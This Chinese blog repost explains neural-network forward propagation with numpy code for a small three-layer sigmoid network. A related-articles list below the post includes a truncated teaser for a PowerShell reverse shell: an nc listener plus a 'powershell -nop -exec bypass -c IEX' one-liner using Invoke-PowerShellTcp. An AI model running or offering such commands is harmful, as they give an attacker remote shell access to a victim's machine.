【深度学习】神经网络前向传播简单实现

步骤

  1. 输入层的每个节点与隐藏层的每个节点做点对点计算,加权求和 + 激活函数
  2. 利用同样的方法,计算隐藏层到输出层
  3. 隐藏层对加权结合后的结果使用激活函数,本例使用Sigmoid
  4. 最终的输出值与样本值进行比较,计算出误差

网络结构

【深度学习】神经网络前向传播简单实现

代码实现

import numpy as np

def _sigmoid(in_data):
    return 1.0 / (1.0 + np.exp(-in_data))

def init_network():
    network = {}
    # 输入层到隐藏层的权重矩阵和bias
    network['W1'] = np.array([[0.1, 0.3, 0.5], [0.2, 0.4, 0.6]])
    network['b1'] = np.array([0.1, 0.2, 0.3])

    # 第一个隐藏层到第二个隐藏层的权重矩阵和bias
    network['W2'] = np.array([[0.1, 0.4], [0.2, 0.5], [0.3, 0.6]])
    network['b2'] = np.array([0.1, 0.2])

    # 第二个隐藏层到输出层的权重矩阵和bias
    network['W3'] = np.array([[0.1, 0.3], [0.2, 0.4]])
    network['b3'] = np.array([0.1, 0.2])

    return network

def forward(network, x):
    # x是输入
    # network是初始化后的模型,已定义好权重矩阵和bias

    # 提取模型初始化的权重、bias对象
    w1, w2, w3 = network['W1'], network['W2'], network['W3']
    b1, b2, b3 = network['b1'], network['b2'], network['b3']

    # 前向传播

    # 输入层到第一个隐藏层
    # 输入:x,输出:z1
    a1 = x.dot(w1) + b1  # 加权求和
    z1 = _sigmoid(a1)  # 激活,得到输出z1,作为进入下一层的输入

    # 第一个隐藏层到第二个隐藏层
    # 输入:z1,输出z2
    a2 = z1.dot(w2) + b2  # 加权求和
    z2 = _sigmoid(a2)  # 激活,得到输出z2,作为进入下一层的输入

    # 第二个隐藏层到输出层
    a3 = z2.dot(w3) + b3  # 加权求和,得到输出a3

    y = a3
    return y

if __name__ == '__main__':
    # 初始化网络
    network = init_network()
    # 输入
    x = np.array([1.0, 0.5])
    # 前向传播
    y = forward(network, x)
    # 打印输出
    print(y)

Original: https://www.cnblogs.com/seansheep/p/15896608.html
Author: 在青青草原上抓羊
Title: 【深度学习】神经网络前向传播简单实现

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/608999/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • bash是什么?

    ​ –解释器,启动器 ​ –解释器: ​ 用户交互输入 如vim 文本文件输入 !/bin/bash *!/usr/bin/python bash/sh f…

    Linux 2023年5月27日
    086
  • 让Mac界面和Windows界面在Laxcus集群操作系统上合体

    如果一套操作系统,同时拥有苹果Mac风格的图形桌面,和微软Windows风格的图形桌面,你会是一种什么样的体验? 最近,我们公司的GUI研发团队完成了这项技术突破,在持续不断地技术…

    Linux 2023年6月6日
    0114
  • Linux下腾达无线网卡U6的驱动安装

    U6无线网卡是rt8192eu芯片, 腾达驱动只支持到内核4.4左右; 5.0以上的内核就需要自己编译的。 终于找到了一个github修改版的驱动,经过验证运行正常。 https:…

    Linux 2023年6月14日
    094
  • NoteOfMySQL-14-日志管理

    一、MySQL日志 日志是MySQL数据库的重要组成部分,日志文件记录了MySQL数据库的日常操作和错误信息,可以通过分析这些日志文件了解MySQL数据库的运行情况。MySQL数据…

    Linux 2023年6月14日
    095
  • Get shell By Powershell

    Invoke-PowerShellTcp.ps1 监听主机:nc -nv -l -p 9999 powershell -nop -exec bypass -c "IEX …

    Linux 2023年5月28日
    0101
  • [LINUX] 在 Win10 上搭建好用的终端开发环境:windows terminal + git bash + zsh + oh-my-zsh

    1、安装 git for windows 2、安装终端 2.1 Windows Terminal 2.1.1 安装 Windows Terminal 2.1.2 设置 Window…

    Linux 2023年6月8日
    0109
  • lab 1

    int father[2],son[2]; int son[2]; if (fork() == 0) { int n; char buf[1]; close(0); dup(fat…

    Linux 2023年6月7日
    081
  • apk自签证书

    需要用到keytool.exe (位于D:\Program Files\Java\jdk1.8.0_291\jre\bin目录下),使用产生的key对apk签名用到的是jarsig…

    Linux 2023年6月8日
    0110
  • gnutls_handshake() failed

    原文链接:https://www.zhoubotong.site/post/75.html使用git clone https://github.com/xxx.git的时候,出现错…

    Linux 2023年6月6日
    0110
  • Docker镜像构建之Dockerfile

    在 Docker 中构建镜像最常用的方式就是使用 Dockerfile。Dockerfile 是一个用来构建镜像的文本文件。 官方文档:https://docs.docker.co…

    Linux 2023年5月27日
    0145
  • Vue3 框架基础随笔 (一)

    Vue (读音 /vjuː/,类似于 view) 是一套用于构建用户界面的渐进式框架。 Vue可以使用简单的代码实现一个单页面应用。 基本格式 Vue通过模板语法来声明式的将数据渲…

    Linux 2023年6月14日
    086
  • 内核同步问题

    linux内核同步问题 Linux内核设计与实现 十、内核同步方法 [手把手教Linux驱动5-自旋锁、信号量、互斥体概述](https://www.cnblogs.com/yik…

    Linux 2023年6月13日
    089
  • 华为云服务器数据库配置远程连接

    华为云服务器数据库配置远程连接 起因 暑期购买了华为云的一台服务器进行开发 在上面部署了MySQL数据库,由于app中修改用户信息存在未修复的bug,经常会出现登录密码为空,导致账…

    Linux 2023年6月13日
    0140
  • 正则表达式

    正则表达式 字符 作用 . 点号 匹配任意一个且只有一个字符 [] 匹配[]集合内的任意一个字符 [^] 匹配不包含^后的任意字符 星号 重复前一个字符(连续出现)0次或N次 . …

    Linux 2023年6月6日
    0121
  • 在python中判断字符串是str还是unicode

    if isinstance(iniStr , unicode ):print “unicode”elif isinstance(iniStr, str):p…

    Linux 2023年6月8日
    0129
  • shell之文件路径截取

    最近写脚本,需要对脚本中函数传递的路径参数进行截取,发现了以下比较好用的方法,记录下: file=/dir1/dir2/dir3/my.file.txt 我们可以用${ }分别替换…

    Linux 2023年5月28日
    091
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球